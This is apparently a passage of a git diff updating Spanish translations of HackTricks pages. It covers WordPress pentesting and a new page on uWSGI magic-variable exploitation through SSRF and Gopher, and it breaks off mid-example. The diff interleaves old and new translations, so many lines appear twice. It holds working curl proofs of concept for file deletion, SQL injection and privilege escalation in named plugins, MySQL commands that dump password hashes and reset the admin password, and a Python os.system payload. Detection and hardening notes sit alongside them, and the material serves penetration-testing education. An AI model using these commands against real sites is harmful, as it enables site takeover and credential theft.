- Navega al WordPress dashboard, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Una vez que el plugin esté instalado correctamente, debe activarse desde el dashboard.
4. **Exploitation**:
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que se conoce que es vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo apropiado y ejecutando comandos específicos, se puede establecer una sesión meterpreter, otorgando acceso no autorizado al sitio.
1. **Adquisición del plugin**: El plugin se obtiene de una fuente como Exploit DB, por ejemplo [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del plugin**:
- Navega al dashboard de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Sube el archivo zip del plugin descargado.
3. **Activación del plugin**: Una vez que el plugin se instala correctamente, debe activarse desde el dashboard.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que es conocido por ser vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo correspondiente y ejecutando comandos específicos, puede establecerse una meterpreter session, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.
El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la autorización adecuada. Esta información debe usarse de forma responsable y solo en un contexto legal, como pentesting con permiso explícito.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## De XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una vulnerabilidad de **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información revisa [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Crea un usuario en WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Sube tu plugin personalizado (backdoor) a WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita plugins integrados en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita temas integrados en WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita un Built-In Plugins en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita un Built-In Themes en WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personalizados para plugins/temas de terceros de WordPress.
## Post Explotación
## Post Exploitation
Extraer nombres de usuario y contraseñas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar la contraseña del admin:
Cambiar admin password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Pentest de Plugins de Wordpress
## Wordpress Plugins Pentest
### Superficie de ataque
Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en dicha funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**esta entrada del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Una de las formas en que un plugin puede exponer funciones a los usuarios es vía AJAX handlers. Estas funciones podrían contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones vayan a basar tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de manejadores AJAX. Estos pueden contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Estas son las funciones que se pueden usar para exponer una función en un plugin:
Estas son las funciones que pueden usarse para exponer una función en un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso no autenticados).**
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso usuarios no autenticados).**
> [!CAUTION]
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esta función únicamente verifica que el usuario haya iniciado sesión; por lo general no comprueba el rol del usuario. Por lo tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.
> Además, si la función solo verifica la autorización del usuario con la función `wp_verify_nonce`, esa función únicamente comprueba que el usuario está autenticado; normalmente no comprueba el rol del usuario. Por tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.
- **REST API**
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` es una función callback que comprueba si un usuario dado está autorizado para invocar el método de la API.
El `permission_callback` es un callback a una función que comprueba si un usuario dado está autorizado a llamar al método de la API.
**Si se utiliza la función integrada `__return_true`, simplemente omitirá la comprobación de permisos de usuario.**
**Si se usa la función integrada `__return_true`, simplemente omitirá la comprobación de permisos del usuario.**
- **Acceso directo al archivo php**
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Por tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente al acceder al archivo, podrá ser explotada por cualquier usuario.
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se dispara simplemente accediendo al archivo, será explotable por cualquier usuario.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de "trusted header" para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual para las solicitudes REST. Si el header no está ligado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
Algunos plugins implementan atajos de "trusted header" para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto del usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la solicitud por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: escalada de privilegios no autenticada hasta administrador mediante la creación de un nuevo usuario a través de la ruta REST de usuarios del core.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el user ID 1, típicamente la primera cuenta de administrador).
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de roles con privilegios elevados.
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Ejemplo de header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de rol elevado.
PoC
```http
@ -394,37 +394,37 @@ Content-Length: 114
Por qué funciona
- El plugin asigna un header controlado por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual a partir del header.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde el header.
Indicadores de éxito esperados
- HTTP 201 con un body JSON que describe el usuario creado.
- Un nuevo usuario admin visible en `wp-admin/users.php`.
Lista de verificación de detección
Lista de comprobación de detección
- Hacer grep de `getallheaders()`, `$_SERVER['HTTP_...']`, o SDKs de vendor que lean headers personalizados para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar las registraciones REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de `permission_callback` y en su lugar dependan de headers de la petición.
- Buscar usos de las funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos solo por valores de header.
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que leen headers personalizados para establecer el contexto del usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones `permission_callback` robustas y en su lugar dependan de headers de la petición.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos únicamente por valores de headers.
Endurecimiento
Mitigaciones
- Nunca derives autenticación o autorización de headers controlados por el cliente.
- Si un reverse proxy debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el edge), luego pasa un token firmado y verifícalo server-side.
- Si un reverse proxy debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el borde), luego pasa un token firmado y verifícalo en el servidor.
- Para rutas REST que realizan acciones privilegiadas, requiere comprobaciones `current_user_can()` y un `permission_callback` estricto (NO uses `__return_true`).
- Prefiere auth first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía headers.
- Prefiere auth de primera parte (cookies, application passwords, OAuth) sobre la “impersonation” vía headers.
References: see the links at the end of this page for a public case and broader analysis.
### Eliminación arbitraria de archivos sin autenticar vía wp_ajax_nopriv (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frecuentemente exponen handlers AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando la variante **_nopriv_** se usa **el callback se vuelve accesible por visitantes no autenticados**, por lo que cualquier acción sensible debe adicionalmente implementar:
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. Una **comprobación de capacidad** (p. ej. `current_user_can()` o al menos `is_user_logged_in()`), y
2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
3. **Saneamiento / validación estricta de la entrada**.
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
El theme multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad *Remove Font Family* y terminó distribuyendo el siguiente código (simplificado):
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,23 +445,23 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemas introducidos por este fragmento:
* **Acceso no autenticado** el `wp_ajax_nopriv_` hook está registrado.
* **No nonce / capability check** cualquier visitante puede acceder al endpoint.
* **No path sanitisation** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de ficheros sin filtrado, permitiendo el clásico `../../` traversal.
* **Acceso no autenticado** se registra el hook `wp_ajax_nopriv_`.
* **Sin verificación de nonce / capability** cualquier visitante puede acceder al endpoint.
* **Sin sanitización de rutas** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
#### Explotación
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una sola petición HTTP POST:
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` fuerza a WordPress a entrar en el *asistente de instalación* en la siguiente visita, permitiendo una toma completa del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario administrador).
Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` obliga a WordPress a entrar en el *asistente de instalación* en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario admin).
Otros objetivos con impacto incluyen archivos de plugin/tema `.php` (para romper plugins de seguridad) o reglas `.htaccess`.
Otros objetivos impactantes incluyen archivos `.php` de plugin/theme (para romper security plugins) o reglas de `.htaccess`.
#### Lista de comprobación de detección
#### Detection checklist
* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenación de entrada de usuario no saneada en rutas (buscar `$_POST`, `$_GET`, `$_REQUEST`).
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Siempre** trata cualquier operación de escritura/eliminación en disco como privilegiada y verifica doblemente:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
> **Siempre** trate cualquier operación de escritura/eliminación en disco como privilegiada y verifique doblemente:
> • Autenticación • Autorización • Nonce • Saneamiento de entradas • Contención de rutas (p. ej. vía `realpath()`s `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### Escalada de privilegios mediante restauración de roles obsoletos y falta de autorización (ASE "View Admin as Role")
Muchos plugins implementan una funcionalidad "view as role" o de cambio temporal de rol guardando el/los role(s) originales en user meta para que puedan ser restaurados más tarde. Si la ruta de restauración depende solo de parámetros de request (e.g., `$_REQUEST['reset-for']`) y de una lista mantenida por el plugin sin verificar capabilities ni un nonce válido, esto se convierte en una vertical privilege escalation.
Muchos plugins implementan una función de "view as role" o cambio temporal de rol guardando el/los rol(es) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración se basa únicamente en parámetros de la petición (p. ej., `$_REQUEST['reset-for']`) y en una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada vertical de privilegios.
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados desde user meta `_asenha_view_admin_as_original_roles`:
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -517,9 +517,9 @@ Por qué es explotable
- Si un usuario previamente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reset.
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
Requisitos del ataque
Requisitos previos del ataque
- Versión vulnerable del plugin con la funcionalidad habilitada.
- Versión vulnerable del plugin con la función habilitada.
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en user meta por uso anterior.
- Cualquier sesión autenticada; falta nonce/capability en el flujo de reset.
@ -531,36 +531,36 @@ Explotación (ejemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
En compilaciones vulnerables, esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), effectively escalating privileges.
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando privilegios efectivamente.
Detection checklist
- Busca funcionalidades de cambio de rol que persistan “roles originales” en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identifica rutas de reinicio/restauración que:
- Buscar funciones de cambio de rol que persistan “original roles” en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identificar rutas de reset/restore que:
- Leer nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modificar roles mediante `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizar basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de en las capacidades del actor.
- Modificar roles vía `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizar basándose en un arreglo de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
Hardening
- Aplicar comprobaciones de capacidades en cada rama que cambie estado (p. ej., `current_user_can('manage_options')` o más estrictas).
- Exigir comprobaciones de capacidades en cada rama que modifique el estado (p. ej., `current_user_can('manage_options')` o más estricta).
- Requerir nonces para todas las mutaciones de roles/permisos y verificarlas: `check_admin_referer()` / `wp_verify_nonce()`.
- No confiar en nombres de usuario suministrados por la solicitud; resolver el usuario objetivo en el servidor basándose en el actor autenticado y una política explícita.
- Invalidar el estado de “roles originales” en actualizaciones de perfil/rol para evitar restauraciones obsoletas de altos privilegios:
- Nunca confiar en nombres de usuario proporcionados por la solicitud; resolver el usuario objetivo del lado servidor en función del actor autenticado y de una política explícita.
- Invalidar el estado de “original roles” en actualizaciones de perfil/rol para evitar restauraciones obsoletas de altos privilegios:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Considere almacenar un estado mínimo y usar tokens con tiempo limitado y protegidos por capacidades para cambios temporales de rol.
- Considere almacenar el mínimo estado y usar tokens limitados en el tiempo y protegidos por capability para cambios temporales de rol.
---
### Escalada de privilegios sin autenticar mediante cambio de usuario confiado por cookie en public init (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Algunos plugins conectan helpers de cambio de usuario al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar autenticación, capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Algunos plugins enlazan user-switching helpers al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar autenticación, capability y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):
Patrón típico vulnerable (simplificado de Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,11 +591,11 @@ wp_die('No original user found to switch back to.');
```
Por qué es explotable
- El hook público `init` hace que el manejador sea accesible para usuarios no autenticados (no hay comprobación `is_user_logged_in()`).
- El hook público `init` hace que el manejador sea accesible para usuarios sin autenticar (sin protección `is_user_logged_in()`).
- La identidad se deriva de una cookie modificable por el cliente (`original_user_id`).
- Una llamada directa a `wp_set_auth_cookie($uid)` inicia sesión al solicitante como ese usuario sin comprobaciones de capability/nonce.
- La llamada directa a `wp_set_auth_cookie($uid)` autentica al solicitante como ese usuario sin ninguna comprobación de capabilities/nonce.
Explotación (sin autenticación)
Explotación (sin autenticar)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,32 +605,32 @@ Connection: close
```
---
### Consideraciones de WAF para WordPress/plugin CVEs
### Consideraciones de WAF para CVEs de WordPress/plugins
Los WAFs genéricos de edge/servidor están afinados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugin son fallos de lógica/auth específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Los WAFs genéricos en el edge/servidor están afinados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
Notas ofensivas
Offensive notes
- Dirígete a endpoints específicos de plugin con payloads limpios: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prueba primero las rutas unauth (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). Los payloads por defecto suelen funcionar sin ofuscación.
- Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Apunta a endpoints específicos del plugin con payloads limpios: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prueba primero las rutas no autenticadas (AJAX `nopriv`, REST con `permission_callback` permisivo, shortcodes públicos). Los payloads por defecto suelen tener éxito sin ofuscación.
- Casos típicos de alto impacto: escalada de privilegios (broken access control), carga/descarga arbitraria de archivos, LFI, open redirect.
Notas defensivas
Defensive notes
- No confíes en firmas genéricas de WAF para proteger CVEs de plugin. Implementa parches virtuales a nivel de aplicación, específicos para la vulnerabilidad, o actualiza rápidamente.
- Prefiere comprobaciones de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) sobre filtros regex negativos.
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales a nivel de aplicación específicos para la vulnerabilidad o actualiza rápidamente.
- Prefiere comprobaciones de seguridad de lista blanca en el código (capabilities, nonces, validación estricta de entradas) en lugar de filtros negativos basados en regex.
## Protección de WordPress
### Actualizaciones regulares
Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Además, **instala únicamente plugins y temas de WordPress confiables**.
Además, **solo instala plugins y temas de WordPress confiables**.
### Plugins de seguridad
@ -640,16 +640,16 @@ Además, **instala únicamente plugins y temas de WordPress confiables**.
### **Otras recomendaciones**
- Elimina el usuario predeterminado **admin**
- Usa **contraseñas fuertes** y **2FA**
- Elimina el usuario por defecto **admin**
- Usa **contraseñas seguras** y **2FA**
- Revisa periódicamente los **permisos** de los usuarios
- **Limita los intentos de inicio de sesión** para prevenir ataques de Brute Force
- Limita los **intentos de inicio de sesión** para prevenir ataques de Brute Force
- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
### SQL Injection no autenticada mediante validación insuficiente (WP Job Portal <= 2.3.2)
### SQL Injection no autenticada por validación insuficiente (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal exponía una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -661,13 +661,13 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problemas introducidos por este fragmento:
1. **Unsanitised user input** `parentid` proviene directamente de la petición HTTP.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** aunque la acción se ejecuta a través de `admin-post.php`, la única comprobación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede recuperar desde una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
1. **Entrada de usuario no saneada** `parentid` proviene directamente de la petición HTTP.
2. **Concatenación de cadenas dentro de la cláusula WHERE** no hay `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accesibilidad sin autenticación** aunque la acción se ejecuta a través de `admin-post.php`, la única verificación en su lugar es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede recuperar desde una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
#### Explotación
1. Obtener un nonce fresco:
1. Obtener un nonce nuevo:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -679,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La respuesta revela el resultado de la consulta inyectada o modifica la base de datos, demostrando la SQLi.
La respuesta revela el resultado de la consulta inyectada o modifica la base de datos, demostrando SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en el disco** mediante path traversal. El sink vulnerable está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** mediante path traversal. El vulnerable sink está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` está controlado por el atacante y concatenado **sin sanitización**. De nuevo, la única barrera es un **CSRF nonce** que puede obtenerse desde la página del CV.
`$file_name` está controlado por un atacante y concatenado **sin sanitización**. Nuevamente, la única barrera es un **CSRF nonce** que puede obtenerse desde la página de resumen.
#### Explotación
```bash

View File

@ -0,0 +1,169 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## Visión general de WSGI
Web Server Gateway Interface (WSGI) es una especificación que describe cómo un servidor web se comunica con aplicaciones web, y cómo las aplicaciones web pueden encadenarse entre sí para procesar una solicitud. uWSGI es uno de los servidores WSGI más populares, a menudo usado para servir aplicaciones web en Python.
## Explotación de variables mágicas de uWSGI
uWSGI proporciona "variables mágicas" especiales que pueden usarse para configurar dinámicamente el comportamiento del servidor. Estas variables pueden establecerse mediante encabezados HTTP y pueden conducir a vulnerabilidades de seguridad graves si no se validan correctamente.
### Variables explotables clave
#### `UWSGI_FILE` - Ejecución arbitraria de archivos
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Esta variable permite cargar y ejecutar archivos Python arbitrarios como aplicaciones WSGI. Si un atacante puede controlar este parámetro, puede lograr Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Script Loading
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Carga un script especificado como una nueva aplicación. Combinado con capacidades de subida o escritura de archivos, esto puede llevar a RCE.
#### `UWSGI_MODULE` y `UWSGI_CALLABLE` - Carga dinámica de módulos
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Estos parámetros permiten cargar módulos de Python arbitrarios y llamar funciones específicas dentro de ellos.
#### `UWSGI_SETENV` - Manipulación de variables de entorno
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Se puede usar para modificar variables de entorno, potencialmente afectando el comportamiento de la aplicación o cargando configuraciones maliciosas.
#### `UWSGI_PYHOME` - Manipulación del entorno de Python
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Cambia el entorno virtual de Python, lo que puede cargar paquetes maliciosos o diferentes intérpretes de Python.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Cambia el directorio de trabajo antes de procesar las solicitudes, lo que puede usarse para ataques de path traversal.
## SSRF + Gopher a
### Vector de ataque
Cuando uWSGI es accesible vía SSRF (Server-Side Request Forgery), los atacantes pueden interactuar con el socket interno de uWSGI para explotar variables mágicas. Esto es especialmente peligroso cuando:
1. La aplicación tiene vulnerabilidades SSRF
2. uWSGI se está ejecutando en un puerto/socket interno
3. La aplicación no valida correctamente las variables mágicas
uWSGI es accesible debido a SSRF porque el archivo de configuración `uwsgi.ini` contiene: `socket = 127.0.0.1:5000` lo que lo hace accesible desde la aplicación web a través de SSRF.
### Ejemplo de explotación
#### Paso 1: Crear payload malicioso
Primero, inyecta código Python en un archivo accesible por el servidor (escritura de archivo dentro del servidor, la extensión del archivo no importa):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Paso 2: Preparar solicitud del protocolo uWSGI
Usa el protocolo Gopher para enviar paquetes uWSGI crudos:
```
